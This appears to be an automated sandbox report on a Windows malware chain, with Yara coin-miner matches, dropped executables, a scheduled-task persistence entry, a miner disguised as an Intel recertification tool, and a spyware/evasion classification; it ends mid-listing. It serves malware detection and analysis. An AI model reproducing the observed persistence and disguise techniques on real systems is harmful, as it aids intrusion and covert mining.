Source: Yara match	File source: Process Memory Space: 1459165c97.exe PID: 948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 6472, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 37.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 37.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen

Drops password protected ZIP file

Source: file.bin.14.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 1459165c97.exe.6.dr	Static PE information: section name:
Source: 1459165c97.exe.6.dr	Static PE information: section name: .idata
Source: 1459165c97.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0062CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_0062CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF78BB	0_2_00FF78BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF8860	0_2_00FF8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF7049	0_2_00FF7049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF31A8	0_2_00FF31A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C7B6E	0_2_010C7B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB4B30	0_2_00FB4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB4DE0	0_2_00FB4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF2D10	0_2_00FF2D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF779B	0_2_00FF779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE7F36	0_2_00FE7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00658860	2_2_00658860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00657049	2_2_00657049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006578BB	2_2_006578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006531A8	2_2_006531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00614B30	2_2_00614B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00652D10	2_2_00652D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00614DE0	2_2_00614DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00647F36	2_2_00647F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0065779B	2_2_0065779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00658860	3_2_00658860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00657049	3_2_00657049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006578BB	3_2_006578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006531A8	3_2_006531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00614B30	3_2_00614B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00652D10	3_2_00652D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00614DE0	3_2_00614DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00647F36	3_2_00647F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0065779B	3_2_0065779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0061E530	6_2_0061E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00636192	6_2_00636192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00658860	6_2_00658860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00614B30	6_2_00614B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00652D10	6_2_00652D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00614DE0	6_2_00614DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00630E13	6_2_00630E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00657049	6_2_00657049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_006531A8	6_2_006531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00631602	6_2_00631602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0065779B	6_2_0065779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_006578BB	6_2_006578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00633DF1	6_2_00633DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00647F36	6_2_00647F36
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00D91000	8_2_00D91000
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00D94C8C	8_2_00D94C8C
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00DA6F3A	8_2_00DA6F3A
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00416124	10_2_00416124
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004361F0	10_2_004361F0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004101FB	10_2_004101FB
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0041BC50	10_2_0041BC50
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00409720	10_2_00409720
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004087D0	10_2_004087D0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00433867	10_2_00433867
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00416810	10_2_00416810
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00435810	10_2_00435810
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0042F090	10_2_0042F090
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043C0A0	10_2_0043C0A0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004280AA	10_2_004280AA
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00403950	10_2_00403950
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043D150	10_2_0043D150
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00405960	10_2_00405960
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0041D160	10_2_0041D160
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0041D970	10_2_0041D970
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004291C3	10_2_004291C3
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004351C0	10_2_004351C0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0042A1D0	10_2_0042A1D0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004229DD	10_2_004229DD
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004061E0	10_2_004061E0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004161FA	10_2_004161FA
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043C1A0	10_2_0043C1A0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043C1BB	10_2_0043C1BB
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043C1B9	10_2_0043C1B9
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0040CA50	10_2_0040CA50
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00430A60	10_2_00430A60
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00435A70	10_2_00435A70
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00427202	10_2_00427202
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00425A16	10_2_00425A16
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043CAD0	10_2_0043CAD0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043C2E0	10_2_0043C2E0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00424AF0	10_2_00424AF0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004262FB	10_2_004262FB
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00428AFD	10_2_00428AFD
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00426AA1	10_2_00426AA1
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00409350	10_2_00409350
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0040E35C	10_2_0040E35C
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0040B35D	10_2_0040B35D
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00402B60	10_2_00402B60
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00404300	10_2_00404300
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00427327	10_2_00427327
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004373C9	10_2_004373C9
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00420BF0	10_2_00420BF0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043C380	10_2_0043C380
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00429BA0	10_2_00429BA0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00436BA0	10_2_00436BA0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00407450	10_2_00407450
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00419460	10_2_00419460
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00423460	10_2_00423460
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0041DC00	10_2_0041DC00
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043C410	10_2_0043C410
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00427C20	10_2_00427C20
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00404C30	10_2_00404C30
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0040ACC0	10_2_0040ACC0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00410CC9	10_2_00410CC9
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043D4D0	10_2_0043D4D0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00414486	10_2_00414486
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004274A0	10_2_004274A0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0040BD67	10_2_0040BD67
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0041D570	10_2_0041D570
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00413DE2	10_2_00413DE2
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043CDF0	10_2_0043CDF0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004235A0	10_2_004235A0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004255B0	10_2_004255B0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0042B641	10_2_0042B641
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00421E5D	10_2_00421E5D
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0042C661	10_2_0042C661
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00406670	10_2_00406670
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00405E20	10_2_00405E20
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00424ECC	10_2_00424ECC
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0042BED5	10_2_0042BED5
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004396F0	10_2_004396F0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0042868F	10_2_0042868F
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0041CE90	10_2_0041CE90
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0042C69E	10_2_0042C69E
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0042C6B0	10_2_0042C6B0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00438EB0	10_2_00438EB0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00426751	10_2_00426751
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0040E760	10_2_0040E760
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00433F68	10_2_00433F68
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00402F00	10_2_00402F00
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043B70E	10_2_0043B70E
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00427F39	10_2_00427F39
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004117F0	10_2_004117F0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00421780	10_2_00421780
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0042D7B5	10_2_0042D7B5
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00D91000	10_2_00D91000
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00D94C8C	10_2_00D94C8C
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00DA6F3A	10_2_00DA6F3A

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0062D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0062D942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00648E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00627A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0062D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006280C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0062DF80 appears 82 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00FC80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: String function: 00D95190 appears 92 times
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: String function: 00D9B767 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: String function: 00408010 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: String function: 00413DC0 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: String function: 00D9F534 appears 34 times

Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 948 -s 648

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 37.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 37.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9976956318119891
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9976956318119891
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9955279923892989
Source: random[1].exe.6.dr	Static PE information: Section: hrqcmbfk ZLIB complexity 0.9921549873259685
Source: 1459165c97.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9955279923892989
Source: 1459165c97.exe.6.dr	Static PE information: Section: hrqcmbfk ZLIB complexity 0.9921549873259685
Source: random[1].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 5639a58f3b.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 5639a58f3b.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe1.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe1.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 850609077b.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 850609077b.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491

Source: 1459165c97.exe, 0000002A.00000003.3304162838.00000000057A8000.00000004.00001000.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000002.3344442804.0000000000FC9000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: 1459165c97.exe, 0000002A.00000003.3304162838.00000000057A8000.00000004.00001000.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000002.3344442804.0000000000FC9000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@70/40@3/6

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Code function: 10_2_004361F0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

10_2_004361F0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6736:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3580:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1208:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5639a58f3b.exe, 0000000A.00000003.3209392966.0000000003866000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3285731462.0000000003849000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3210101650.0000000003849000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3361198212.0000000003A65000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240637797.0000000003A85000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3241335849.0000000003A67000.00000004.00000800.00020000.00000000.sdmp

